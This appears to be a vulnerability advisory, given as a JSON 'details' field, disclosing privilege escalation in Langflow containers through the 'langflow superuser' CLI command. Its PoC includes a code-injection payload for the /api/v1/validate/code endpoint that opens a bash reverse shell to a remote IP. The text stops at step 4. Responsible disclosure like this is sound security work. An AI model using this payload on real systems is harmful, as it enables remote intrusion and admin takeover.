  "details": "This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.\n\n### Summary\nA privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.\n\n### Details\nLangflow\u0027s Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:\n\n`langflow superuser`\n\nThis command allows creation of a new superuser without checking whether one already exists. \n\nWhen combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:\n\n`/app/.venv/bin/langflow superuser`\n\ninside the container, and elevate themselves to full superuser privileges.\n\nThis effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.\n\n### PoC\n1. Start container with LANGFLOW_ENABLE_AUTH set to True.\n2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)\n\n\u003cimg width=\"1311\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3\" /\u003e\n\n3. Exploit /api/v1/validate/code to get reverse shell\n\nSend an authenticated POST request:\n\n```\n{\n  \"code\": \"def foo(p=__import__(\u0027os\u0027).system(\\\"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/192.168.1.22/4444 0\u003e\u00261\u0027\\\")):\\n    pass\"\n}\n```\n\n4.
